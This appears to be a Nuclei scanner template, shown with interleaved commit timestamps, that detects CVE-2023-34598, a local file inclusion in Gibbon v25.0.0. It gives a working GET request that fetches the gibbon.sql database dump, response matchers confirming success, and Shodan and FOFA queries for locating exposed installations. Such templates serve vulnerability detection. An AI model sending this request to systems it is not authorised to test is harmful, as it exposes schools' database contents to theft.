2023-06-26 04:38:27 +00:00
id : CVE-2023-34598
info :
name : Gibbon v25.0.0 - Local File Inclusion
author : DhiyaneshDk
2023-07-11 19:49:27 +00:00
severity : critical
2023-06-26 04:38:27 +00:00
description : |
Gibbon v25.0.0 is vulnerable to a Local File Inclusion (LFI) vulnerability where it's possible to include the content of several files present in the installation folder in the server's response.
reference :
- https://github.com/maddsec/CVE-2023-34598
2023-06-29 04:57:30 +00:00
- https://twitter.com/shaybt12/status/1673612503547355137?s=20
2023-06-26 04:38:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-34598
2023-06-29 04:57:30 +00:00
classification :
2023-07-11 19:49:27 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-06-29 04:57:30 +00:00
cve-id : CVE-2023-34598
2023-07-11 19:49:27 +00:00
cwe-id : CWE-22
epss-score : 0.03671
cpe : cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
2023-06-26 04:38:27 +00:00
metadata :
max-request : 1
verified : true
shodan-query : http.favicon.hash:-165631681
2023-06-29 04:57:30 +00:00
fofa-query : icon_hash="-165631681"
2023-07-11 19:49:27 +00:00
vendor : gibbonedu
product : "gibbon"
2023-06-26 04:38:27 +00:00
tags : cve,cve2023,gibbon,lfi
http :
- method : GET
path :
- "{{BaseURL}}/?q=./gibbon.sql"
matchers-condition : and
matchers :
- type : word
words :
2023-06-29 04:57:30 +00:00
- "phpMyAdmin SQL Dump"
- "gibbon"
2023-06-26 04:38:27 +00:00
condition : and
- type : status
status :
- 200